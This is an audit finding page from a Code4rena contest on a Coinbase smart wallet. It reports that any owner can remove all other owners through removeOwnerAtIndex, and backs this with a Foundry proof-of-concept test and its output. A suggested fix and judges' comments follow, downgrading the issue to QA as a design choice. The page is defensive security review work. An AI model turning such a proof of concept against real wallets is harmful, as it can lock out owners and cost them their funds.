Platform: Code4rena
Start Date: 14/03/2024
Pot Size: $49,000 USDC
Total HM: 3
Participants: 51
Period: 7 days
Judge: 3docSec
Id: 350
League: ETH
Rank: 28/51
Findings: 1
Award: $36.34
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xmystery
Also found by: 0xbrett8571, 0xhacksmithh, 7ashraf, Bigsam, Circolors, IceBear, Jorgect, Koala, Limbooo, SBSecurity, Tigerfrake, ZanyBonzy, aycozynfada, cheatc0d3, cryptphi, d3e4, doublespending, foxb868, gpersoon, imare, jesjupyter, lsaudit, robriks, shealtielanz, y4y
36.3397 USDC - $36.34
Any valid owner can remove all other owners in the wallet. Those removed owners will have their funds locked and lost.
In MultiOwnerable
contract, owners can freely add and remove other owners to the wallet. All those operations have the modifier onlyOwner
to ensure only owner can call the functions. However, in removeOwnerAtIndex
, any index can be removed regardless of the owner which is calling.
function removeOwnerAtIndex(uint256 index) public virtual onlyOwner { bytes memory owner = ownerAtIndex(index); if (owner.length == 0) revert NoOwnerAtIndex(index); delete _getMultiOwnableStorage().isOwner[owner]; delete _getMultiOwnableStorage().ownerAtIndex[index]; emit RemoveOwner(index, owner); }
As the snippet showed above, after retrieving owner address at the index, it's then deleted from the storage, and that's the end of the function. As a result, any owner can remove other owners from the wallet, causing other owners to lose funds in the wallet.
In the following unit test, proves the vulnerability:
function test_removeAllOtherOwners() public { bytes[] memory _owners = new bytes[](5); _owners[0] = abi.encode(address(1)); _owners[1] = abi.encode(address(2)); _owners[2] = abi.encode(address(3)); _owners[3] = abi.encode(address(4)); _owners[4] = abi.encode(address(5)); CoinbaseSmartWallet wallet = factory.createAccount{value: 1e18}(_owners, 0); console.log("owner[0] is owner:", wallet.isOwnerAddress(address(1))); console.log("owner[1] is owner:", wallet.isOwnerAddress(address(2))); console.log("owner[2] is owner:", wallet.isOwnerAddress(address(3))); console.log("owner[3] is owner:", wallet.isOwnerAddress(address(4))); console.log("owner[4] is owner:", wallet.isOwnerAddress(address(5))); vm.prank(address(5)); wallet.removeOwnerAtIndex(0); vm.stopPrank(); vm.prank(address(5)); wallet.removeOwnerAtIndex(1); vm.stopPrank(); vm.prank(address(5)); wallet.removeOwnerAtIndex(2); vm.stopPrank(); vm.prank(address(5)); wallet.removeOwnerAtIndex(3); vm.stopPrank(); console.log("owner[0] is owner:", wallet.isOwnerAddress(address(1))); console.log("owner[1] is owner:", wallet.isOwnerAddress(address(2))); console.log("owner[2] is owner:", wallet.isOwnerAddress(address(3))); console.log("owner[3] is owner:", wallet.isOwnerAddress(address(4))); console.log("owner[4] is owner:", wallet.isOwnerAddress(address(5))); }
The test will have the following output to the console:
[PASS] test_removeAllOtherOwners() (gas: 418750) Logs: owner[0] is owner: true owner[1] is owner: true owner[2] is owner: true owner[3] is owner: true owner[4] is owner: true owner[0] is owner: false owner[1] is owner: false owner[2] is owner: false owner[3] is owner: false owner[4] is owner: true
Manual review, foundry
If removeOwnerAtIndex
is not called by the wallet itself, restrict caller only removing their own index.
Access Control
#0 - c4-pre-sort
2024-03-21T21:54:21Z
raymondfam marked the issue as primary issue
#1 - c4-pre-sort
2024-03-21T21:54:25Z
raymondfam marked the issue as sufficient quality report
#2 - raymondfam
2024-03-21T21:56:09Z
Owners are typically controlled by the original owner. Nonetheless, a measure to prevent such scenario with no owners left from happening would be beneficial.
#3 - c4-pre-sort
2024-03-22T22:32:25Z
raymondfam marked the issue as duplicate of #22
#4 - c4-pre-sort
2024-03-24T14:46:44Z
raymondfam marked the issue as duplicate of #181
#5 - c4-judge
2024-03-27T08:52:10Z
3docSec marked the issue as not a duplicate
#6 - c4-judge
2024-03-27T08:53:16Z
3docSec marked the issue as primary issue
#7 - 3docSec
2024-03-27T09:05:34Z
Each owner having complete power over the others is clearly a design choice by the wallet team as the wallet is meant to be owned by the same physical person who for convenience may want to access it by different means, all in their possession. Adversarial actions of one owner against the other can be seen as a risk (this finding) as well as a security feature as well (one owner loses control over one private key, so it removes its access to the wallet).
Alternative designs giving protection on adversarial actions initiated by a single owner against other owners (like multisigs that require a quorum) are a different beast with different tradeoffs.
This seems like a very solid topic for an "analysis report" elaboration.
#8 - c4-judge
2024-03-27T09:05:44Z
3docSec changed the severity to QA (Quality Assurance)
#9 - c4-judge
2024-03-27T09:05:53Z
3docSec marked the issue as grade-a
#10 - 3docSec
2024-03-27T10:19:57Z
(changing severity again as somehow they were not moved to QA)
#11 - c4-judge
2024-03-27T10:20:10Z
This previously downgraded issue has been upgraded by 3docSec
#12 - c4-judge
2024-03-27T10:20:17Z
3docSec changed the severity to QA (Quality Assurance)